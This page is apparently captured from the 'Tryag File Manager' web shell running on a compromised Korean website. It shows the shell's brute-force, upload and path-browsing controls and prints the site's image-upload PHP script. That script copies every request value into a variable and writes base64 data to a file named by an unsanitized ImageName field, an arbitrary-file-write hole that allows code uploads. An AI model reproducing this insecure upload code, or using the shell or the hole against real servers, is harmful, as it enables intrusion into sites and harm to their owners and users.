Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
nonga.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
//home/nonga.eemo.co.kr/public_html/www/api_upload_image_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } ini_set('max_execution_time',86400); $uploadFolder="upload"; /* foreach ($_FILES as $k => $v) { $TempFile = $v['tmp_name']; $SaveFile = $v['name']; $FileSize = $v['size']; if($SaveFile) { $re_name="app_"."".time().".png"; $org_name=$SaveFile; $FullPath=$uploadFolder."/".$re_name; if(NoExtFile("php|html|htm|htaccess|inc|jsp|phtml",$SaveFile)) { if(move_uploaded_file($TempFile, $FullPath)) { } } } } */ if (isset($_POST['firstParam'])) { $data = $_POST['firstParam']; $data = base64_decode($data); $status = file_put_contents("upload/"."app_".time().".png", $data); } if(isset($_POST['ImageName'])){ $imgname = $_POST['ImageName']; $imsrc = str_replace(' ','+',$_POST['base64']); $imsrc = base64_decode($imsrc); $fp = fopen("upload/app_".$imgname, 'w'); fwrite($fp, $imsrc); if(fclose($fp)){ echo "success"; }else{ echo "img_error"; } } /* $arr_rst=array(); $arr_rst['rst']='1'; echo json_encode($arr_rst); */ ?>